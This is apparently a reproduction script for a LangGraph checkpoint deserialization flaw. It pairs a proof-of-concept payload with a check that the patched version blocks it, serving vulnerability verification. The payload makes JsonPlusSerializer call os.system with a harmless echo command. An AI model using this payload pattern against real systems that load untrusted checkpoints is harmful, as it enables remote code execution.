#!/usr/bin/env bash
# Reproduction script for GHSA-wwqv-p2pp-99h5
# LangGraph Checkpoint RCE via JsonPlusSerializer Constructor Deserialization
#
# This script demonstrates:
# 1. Vulnerable version (2.0.6) allows RCE via constructor deserialization
# 2. Patched version (3.0.0) blocks the attack with allow-list

set -e

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
LOGS_DIR="$SCRIPT_DIR/logs"
mkdir -p "$LOGS_DIR"

EVIDENCE_VULN="$LOGS_DIR/evidence_vuln.txt"
EVIDENCE_PATCH="$LOGS_DIR/evidence_patch.txt"

# Clean up evidence files
rm -f "$EVIDENCE_VULN" "$EVIDENCE_PATCH"

echo "=== GHSA-wwqv-p2pp-99h5 Reproduction ==="
echo "LangGraph Checkpoint JsonPlusSerializer RCE"
echo ""

# Create virtual environment
python3 -m venv "$SCRIPT_DIR/venv"
source "$SCRIPT_DIR/venv/bin/activate"

#############################################
# TEST 1: Vulnerable version (2.0.6)
#############################################
echo "[*] Installing vulnerable version: langgraph-checkpoint==2.0.6"
pip install -q "langgraph-checkpoint==2.0.6" 2>/dev/null

echo "[*] Testing vulnerable deserialization path..."
echo "[*] Evidence file: $EVIDENCE_VULN"

python3 - "$EVIDENCE_VULN" << 'PYEOF' 2>&1 | tee "$LOGS_DIR/vulnerable.log"
import json
import sys

evidence_file = sys.argv[1]

# Import the vulnerable serializer
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer()

# Malicious payload using constructor pattern
payload = {
    "lc": 2,
    "type": "constructor",
    "id": ["os", "system"],
    "args": [f"echo 'RCE_EXECUTED_VIA_CONSTRUCTOR' > {evidence_file}"]
}

# Convert to JSON bytes (simulating stored checkpoint)
payload_bytes = json.dumps(payload).encode('utf-8')

print(f"[VULNERABLE] Deserializing malicious constructor payload...")
print(f"[VULNERABLE] Payload: {payload}")

try:
    # The vulnerable deserializer will execute os.system()
    result = serializer.loads(payload_bytes)
    print(f"[VULNERABLE] Deserialized result: {result}")
except Exception as e:
    print(f"[VULNERABLE] Error: {e}")

# Check if RCE succeeded
import os
if os.path.exists(evidence_file):
    with open(evidence_file) as f:
        content = f.read().strip()
    print(f"\n[!] RCE SUCCESSFUL!")
    print(f"[!] Evidence file content: {content}")
else:
    print(f"\n[-] RCE did not succeed (evidence file not created)")
PYEOF

# Verify evidence
if [ -f "$EVIDENCE_VULN" ]; then
    echo ""
    echo "[+] VULNERABLE VERSION: RCE confirmed"
    VULN_RESULT="true"
else
    echo ""
    echo "[-] VULNERABLE VERSION: RCE not confirmed"
    VULN_RESULT="false"
fi

#############################################
# TEST 2: Patched version (3.0.0)
#############################################
echo ""
echo "[*] Installing patched version: langgraph-checkpoint==3.0.0"
pip install -q "langgraph-checkpoint==3.0.0" 2>/dev/null

echo "[*] Testing patched deserialization path..."
echo "[*] Evidence file: $EVIDENCE_PATCH"

python3 - "$EVIDENCE_PATCH" << 'PYEOF' 2>&1 | tee "$LOGS_DIR/patched.log"
import json
import sys
import os

evidence_file = sys.argv[1]

# Import the patched serializer
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer()

# Same malicious payload
payload = {
    "lc": 2,
    "type": "constructor",
    "id": ["os", "system"],
    "args": [f"echo 'RCE_EXECUTED_VIA_CONSTRUCTOR' > {evidence_file}"]
}

payload_bytes = json.dumps(payload).encode('utf-8')

print(f"[PATCHED] Deserializing malicious constructor payload...")
print(f"[PATCHED] Payload: {payload}")

try:
    # Try different method names (API may have changed)
    if hasattr(serializer, 'loads'):
        result = serializer.loads(payload_bytes)
    elif hasattr(serializer, 'loads_typed'):
        result = serializer.loads_typed((payload_bytes,))
    else:
        # Try to decode directly
        result = serializer.dumps_typed(payload)  # This should fail
    print(f"[PATCHED] Deserialized result: {result}")
except Exception as e:
    print(f"[PATCHED] Error (expected): {type(e).__name__}: {e}")
    print(f"\n[+] PATCHED - Malicious payload rejected")

# Check if RCE was blocked
if os.path.exists(evidence_file):
    with open(evidence_file) as f:
        content = f.read().strip()
    print(f"\n[!] UNEXPECTED: RCE succeeded on patched version!")
    print(f"[!] Evidence file content: {content}")
else:
    print(f"\n[+] RCE blocked - evidence file not created")
PYEOF

# Verify patch
if [ -f "$EVIDENCE_PATCH" ]; then
    echo ""
    echo "[-] PATCHED VERSION: RCE still possible (UNEXPECTED)"
    PATCH_RESULT="false"
else
    echo ""
    echo "[+] PATCHED VERSION: RCE blocked"
    PATCH_RESULT="true"
fi

#############################################
# Generate result JSON
#############################################
cat > "$LOGS_DIR/result.json" << RESULTEOF
{
  "ghsa_id": "GHSA-wwqv-p2pp-99h5",
  "cve_id": "CVE-2025-64439",
  "reproduced": $VULN_RESULT,
  "patched_blocked": $PATCH_RESULT,
  "vulnerable_version": "2.0.6",
  "patched_version": "3.0.0",
  "vulnerability_type": "constructor_deserialization_rce",
  "attack_vector": "checkpoint_injection"
}
RESULTEOF

echo ""
echo "=== Summary ==="
echo "Vulnerable (2.0.6): reproduced=$VULN_RESULT"
echo "Patched (3.0.0): blocked=$PATCH_RESULT"
echo "Results: $LOGS_DIR/result.json"

deactivate